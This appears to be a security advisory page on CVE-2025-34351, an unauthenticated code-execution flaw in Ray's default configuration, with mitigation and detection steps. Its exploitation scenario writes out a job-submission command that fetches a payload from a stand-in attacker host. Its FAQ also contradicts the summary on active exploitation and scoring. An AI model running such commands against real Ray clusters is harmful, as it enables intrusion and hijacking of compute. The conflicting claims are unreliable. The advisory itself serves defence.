Any Ray cluster reachable from your network is compromised by default — no credentials required to submit jobs and execute arbitrary code across the entire cluster. Enable RAY_AUTH_MODE=token immediately and firewall Ray ports (8265, 10001) from untrusted networks; there is no patch, only mitigation. This is being actively exploited in the wild: the ShadowRay 2.0 campaign hijacks AI compute clusters into self-propagating botnets.
Risk Assessment
CRITICAL. Exploitation requires zero authentication and only network reachability to Ray's dashboard (default port 8265) or Jobs API. Attack surface is extremely broad: Ray is the dominant distributed ML framework deployed extensively on cloud infrastructure, often with misconfigured security groups. No upstream patch exists — the vendor plans to change the default in a future release, but affected organizations must act now. The EPSS score of 0.00474 severely underestimates actual exploitation risk given confirmed active campaigns. Treat as CVSS 9.8 equivalent (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| ray | pip | <= 2.52.0 | No patch |
Do you use ray? You're affected.
Severity & Risk
Recommended Action
1 step-
IMMEDIATE (do today): 1) Audit all Ray deployments — test unauthenticated access to port 8265 across your environment. 2) Set RAY_AUTH_MODE=token in all Ray head node configurations and restart clusters. 3) Firewall ports 8265 (dashboard), 10001 (client), and 8076 (metrics) to trusted CIDR ranges only — treat these as equivalent to database ports. SHORT-TERM (this week): 4) Rotate all secrets, API keys, and cloud credentials accessible from Ray cluster environments. 5) Review Ray job submission history for unauthorized activity. 6) Implement network segmentation isolating ML training infrastructure from internet-facing systems. 7) Add IaC policy controls preventing Ray deployment without token auth enabled. DETECTION: Alert on unexpected Ray job submissions, unusual compute spikes on ML nodes, and outbound connections from Ray workers to non-expected IPs. Search logs for Ray Jobs API calls without Authorization headers.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2025-34351?
Any Ray cluster reachable from your network is compromised by default — no credentials required to submit jobs and execute arbitrary code across the entire cluster. Enable RAY_AUTH_MODE=token immediately and firewall Ray ports (8265, 10001) from untrusted networks; there is no patch, only mitigation. This is being actively exploited in the wild: the ShadowRay 2.0 campaign hijacks AI compute clusters into self-propagating botnets.
Is CVE-2025-34351 actively exploited?
No confirmed active exploitation of CVE-2025-34351 has been reported, but organizations should still patch proactively.
How to fix CVE-2025-34351?
IMMEDIATE (do today): 1) Audit all Ray deployments — test unauthenticated access to port 8265 across your environment. 2) Set RAY_AUTH_MODE=token in all Ray head node configurations and restart clusters. 3) Firewall ports 8265 (dashboard), 10001 (client), and 8076 (metrics) to trusted CIDR ranges only — treat these as equivalent to database ports. SHORT-TERM (this week): 4) Rotate all secrets, API keys, and cloud credentials accessible from Ray cluster environments. 5) Review Ray job submission history for unauthorized activity. 6) Implement network segmentation isolating ML training infrastructure from internet-facing systems. 7) Add IaC policy controls preventing Ray deployment without token auth enabled. DETECTION: Alert on unexpected Ray job submissions, unusual compute spikes on ML nodes, and outbound connections from Ray workers to non-expected IPs. Search logs for Ray Jobs API calls without Authorization headers.
What systems are affected by CVE-2025-34351?
This vulnerability affects the following AI/ML architecture patterns: distributed ML training pipelines, model serving, ML ops infrastructure, Ray Serve deployments, hyperparameter tuning workloads, reinforcement learning environments, multi-agent AI systems on Ray, agent frameworks.
What is the CVSS score for CVE-2025-34351?
No CVSS score has been assigned yet.
Technical Details
NVD Description
Anyscale Ray 2.52.0 contains an insecure default configuration in which token-based authentication for Ray management interfaces (including the dashboard and Jobs API) is disabled unless explicitly enabled by setting RAY_AUTH_MODE=token. In the default unauthenticated state, a remote attacker with network access to these interfaces can submit jobs and execute arbitrary code on the Ray cluster. NOTE: The vendor plans to enable token authentication by default in a future release. They recommend enabling token authentication to protect your cluster from unauthorized access.
Exploitation Scenario
An adversary runs a Shodan/Censys scan for exposed Ray dashboards on port 8265 — a trivial 5-minute operation. Upon finding an unauthenticated endpoint, they submit a malicious Python job via the Jobs API: 'ray job submit -- python -c "import subprocess,os; subprocess.Popen([curl,attacker.com/bot.sh,-o,/tmp/x]);"'. The job executes on all cluster nodes with the permissions of the Ray worker process, which in cloud environments typically carries attached IAM roles with broad S3/GCS/blob storage access. Within minutes the attacker has: exfiltrated model weights and training data, installed a persistent backdoor, and enrolled the cluster in the ShadowRay 2.0 botnet — which then uses the compromised cluster to scan for and attack other exposed Ray instances, creating a self-propagating AI compute worm. The entire attack chain requires no AI/ML expertise, only awareness that Ray auth is off by default.
Weaknesses (CWE)
References
- docs.ray.io/en/latest/ray-security/token-auth.html
- github.com/JLLeitschuh/security-research/security/advisories/GHSA-w8vc-465m-jjw6
- github.com/advisories/GHSA-gx77-xgc2-4888
- github.com/ray-project/ray/releases/tag/ray-2.52.0
- nvd.nist.gov/vuln/detail/CVE-2025-34351
- cve.org/resourcessupport/allresources/cnarules
- linkedin.com/posts/jonathan-leitschuh_the-latest-piece-of-mind-bending-research-activity-7396976425997606912-qizE
- oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet
- oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild
- vulncheck.com/advisories/anyscale-ray-token-authentication-disabled-by-default-insecure-configuration
Timeline
Related Vulnerabilities
CVE-2023-48022 9.8 Ray: unauthenticated RCE via job submission API
Same package: ray CVE-2023-6019 9.8 Ray: unauthenticated RCE via dashboard command injection
Same package: ray CVE-2023-6021 9.3 Ray: LFI allows unauthenticated file read
Same package: ray CVE-2023-6020 9.3 Ray: unauthenticated LFI exposes entire filesystem
Same package: ray CVE-2025-1979 6.4 Ray: Redis password exposed via plaintext logging
Same package: ray
AI Threat Alert